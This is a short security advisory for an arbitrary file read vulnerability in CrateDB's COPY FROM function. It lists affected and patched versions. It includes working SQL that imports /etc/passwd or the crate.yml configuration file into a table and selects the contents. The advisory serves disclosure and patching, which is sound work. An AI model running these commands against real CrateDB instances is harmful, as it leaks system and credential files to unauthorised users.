| Package | Affected versions | Patched versions |
|---|---|---|
| io.crate:crate | ≥ 5.4.0, < 5.4.8≥ 5.5.0, < 5.5.4≥ 5.6.0, < 5.6.1< 5.3.9 | 5.4.85.5.45.6.15.3.9 |
| cratedb | ≥ 5.4.0, < 5.4.8≥ 5.5.0, < 5.5.4≥ 5.6.0, < 5.6.1< 5.3.9 | 5.4.85.5.45.6.15.3.9 |
There is an arbitrary file read vulnerability in the CrateDB database, and authenticated CrateDB database users can read any file on the system.
There is a COPY FROM function in the CrateDB database that is used to import file data into database tables. This function has a flaw, and authenticated attackers can use the COPY FROM function to import arbitrary file content into database tables, resulting in information leakage.
CREATE TABLE info_leak(info_leak STRING);
COPY info_leak FROM '/etc/passwd' with (format='csv', header=false); or COPY info_leak FROM '/crate/config/crate.yml' with (format='csv', header=false);
SELECT * FROM info_leak;
This vulnerability affects all current versions of the CrateDB database. Attackers who exploit this vulnerability to obtain sensitive information may carry out further attacks, while also affecting CrateDB Cloud Clusters.
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